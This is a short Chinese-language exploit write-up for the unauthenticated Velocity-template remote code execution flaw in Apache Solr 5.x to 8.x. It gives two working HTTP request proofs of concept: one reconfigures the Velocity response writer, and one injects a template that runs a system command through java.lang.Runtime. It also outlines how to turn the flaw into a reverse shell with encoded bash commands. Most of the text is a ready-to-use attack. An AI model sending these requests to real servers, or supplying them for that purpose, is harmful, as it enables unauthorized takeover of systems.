0x01 描述
攻击者可以在未授权的情况下利用该漏洞,远程发送精心构造的HTTP请求,从而在受影响服务器上进行远程代码执行。
0x02 范围
Apache Solr 5.x至8.x版本
0x03 复现
-
1.获取path
-
2.更改设置
POC
使用刚才的path替换路径的test POST /solr/test/config HTTP/1.1 Host: 192,168.1.1:8983 Content-Type: application/json Content-Length: 263 { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "template.base.dir": "", "solr.resource.loader.enabled": "true", "params.resource.loader.enabled": "true" } }
-
3.命令执行
POC
使用刚才的path替换路径的test
GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.1.1:8983
Content-Type: application/json
Content-Length: 263
0x04 反弹shell
- 1.对bash命令进行runtime编码,在进行url编码,即可成功反弹
- 2.成功反弹到vbs
0x05 修复
- 官方暂未发布,可关注官网获取补丁或版本更新:http://lucene.apache.org/solr/